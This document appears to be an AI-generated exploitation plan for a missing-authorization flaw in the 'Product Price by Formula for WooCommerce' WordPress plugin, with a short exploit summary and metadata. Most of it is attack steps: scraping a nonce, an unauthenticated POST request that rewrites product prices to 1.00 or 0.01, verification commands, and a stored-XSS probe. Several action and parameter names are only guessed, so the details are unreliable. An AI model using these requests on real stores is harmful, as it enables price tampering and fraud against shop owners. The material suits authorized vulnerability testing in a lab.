Vulnerability Summary\nThe **Product Price by Formula for WooCommerce** plugin (up to 2.5.6) contains a missing authorization vulnerability. Specifically, an AJAX handler intended for administrative tasks (like saving pricing formulas or settings) is registered via `wp_ajax_nopriv_`, making it accessible to unauthenticated users. The function associated with this handler lacks a call to `current_user_can()`, allowing any user to modify plugin settings or product pricing formulas, which directly impacts the integrity of product pricing in the WooCommerce store.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action (Inferred):** `alg_wc_product_price_by_formula_save_formula` or `alg_wc_product_price_by_formula_save_settings`.\n*   **Method:** POST\n*   **Authentication:** None required (unauthenticated).\n*   **Preconditions:** The plugin must be active. A specific product ID may be needed if modifying formulas per product.\n*   **Vulnerable Parameter:** Likely `formula`, `alg_wc_product_price_by_formula_option`, or `product_id`.\n\n## 3. Code Flow\n1.  **Registration:** The plugin registers AJAX handlers in its main class or an AJAX handler class.\n    *   `add_action( 'wp_ajax_alg_wc_product_price_by_formula_save_settings', 'save_settings_callback' );`\n    *   `add_action( 'wp_ajax_nopriv_alg_wc_product_price_by_formula_save_settings', 'save_settings_callback' );` (The vulnerability exists because of this `nopriv` registration).\n2.  **Execution:** When a request is sent to `admin-ajax.php` with `action=alg_wc_product_price_by_formula_save_settings`.\n3.  **Vulnerable Function:** The callback function (e.g., `save_settings_callback`) is invoked.\n4.  **Missing Check:** The function processes the `$_POST` data and calls `update_option()` or `update_post_meta()` without verifying the requester's capabilities using `current_user_can( 'manage_woocommerce' )`.\n5.  **Sink:** `update_option( 'alg_wc_product_price_by_formula_settings', ... )` is called with user-supplied data.\n\n## 4. Nonce Acquisition Strategy\nThe plugin likely uses `wp_localize_script` to pass a nonce and the AJAX URL to the frontend.\n\n1.  **Identify Shortcode:** Locate the shortcode used by the plugin to display formula-related UI on the frontend (e.g., `[alg_wc_product_price_by_formula]` or similar).\n2.  **Create Test Page:** \n    `wp post create --post_type=page --post_title=\"Price Test\" --post_status=publish --post_content='[alg_wc_product_price_by_formula]'`\n3.  **Navigate to Page:** Use `browser_navigate` to visit the newly created page.\n4.  **Extract Nonce:** The localization variable is likely prefixed with `alg_`. Check the page source or use:\n    `browser_eval(\"window.alg_wc_product_price_by_formula_ajax_obj?.nonce\")`\n    *(Alternative JS variables to check: `alg_ppbf_obj`, `ppbf_vars`)*.\n5.  **Bypass Check:** If the code flow shows `check_ajax_referer` is used but with an action that doesn't match the verification, or if it's missing entirely in the `nopriv` handler, the nonce might not even be required.\n\n## 5. Exploitation Strategy\nWe will attempt to change a global pricing formula or a specific product's pricing formula to set the price to a fixed low value (e.g., \"1.00\").\n\n**HTTP Request (Example):**\n*   **Tool:** `http_request`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=alg_wc_product_price_by_formula_save_settings&nonce=[EXTRACTED_NONCE]&formula=1.00&product_id=[TARGET_ID]\n    ```\n    *Note: If the exploit targets global settings, the parameters might be `alg_wc_product_price_by_formula_enabled=yes&alg_wc_product_price_by_formula_default_formula=0.01`.*\n\n## 6. Test Data Setup\n1.  **Install WooCommerce:** Ensure WooCommerce is active.\n2.  **Create Product:** \n    `wp post create --post_type=product --post_title=\"Expensive Item\" --post_status=publish`\n    `wp post meta add [PRODUCT_ID] _regular_price 1000`\n    `wp post meta add [PRODUCT_ID] _price 1000`\n3.  **Plugin Config:** Enable the plugin via CLI if possible:\n    `wp option update alg_wc_product_price_by_formula_enabled \"yes\"`\n\n## 7. Expected Results\n*   **HTTP Response:** Should return a `200 OK` or a JSON success message (e.g., `{\"success\":true}`).\n*   **State Change:** The pricing formula for the product (stored in post meta) or the global formula (stored in options) will be updated to the attacker's value.\n*   **Storefront Impact:** Visiting the product page for \"Expensive Item\" will show a price of $1.00 instead of $1000.00.\n\n## 8. Verification Steps\n1.  **Check Option:**\n    `wp option get alg_wc_product_price_by_formula_settings`\n2.  **Check Product Meta:**\n    `wp post meta get [TARGET_ID] _alg_wc_product_price_by_formula_formula`\n3.  **Verify Price Calculation:**\n    Use `http_request` to GET the product page and parse the HTML to find the price:\n    `curl -s http:\u002F\u002Flocalhost:8080\u002Fproduct\u002Fexpensive-item\u002F | grep -oP 'class=\"woocommerce-Price-amount amount\">.*\u003C\u002Fspan>'`\n\n## 9. Alternative Approaches\n*   **Global Settings Overwrite:** If `product_id` is not accepted, try overwriting the global options table entry for the plugin using `action=alg_wc_product_price_by_formula_save_global_settings`.\n*   **Parameter Fuzzing:** If the specific action name is unknown, search the plugin directory for all `wp_ajax_nopriv` registrations:\n    `grep -r \"wp_ajax_nopriv_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fproduct-price-by-formula-for-woocommerce\u002F`\n*   **XSS via Formula:** If the formula is reflected on the product page without escaping, this could be escalated to Stored XSS. Try `formula=\u003Cscript>alert(1)\u003C\u002Fscript>`.","The Product Price by Formula for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on AJAX handlers in versions up to 2.5.6.

Because the plugin incorrectly registers the pricing update function with the 'wp_ajax_nopriv_' prefix, no authentication is required. The attacker sends a POST request with the 'action' parameter set to 'alg_wc_product_price_by_formula_save_settings' (or a similar internal action name identified in the plugin) and includes a 'formula' parameter containing a new price calculation (e.g., '0.01'). If a nonce is required, it can often be extracted from the frontend source code where the plugin localizes scripts for its UI components. Successful exploitation results in the plugin updating the store's pricing logic to use the attacker-supplied formula.","gemini-3-flash-preview","2026-04-19 05:22:51","2026-04-19 05:23:08",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fproduct-price-by-formula-for-woocommerce\u002Ftags"]
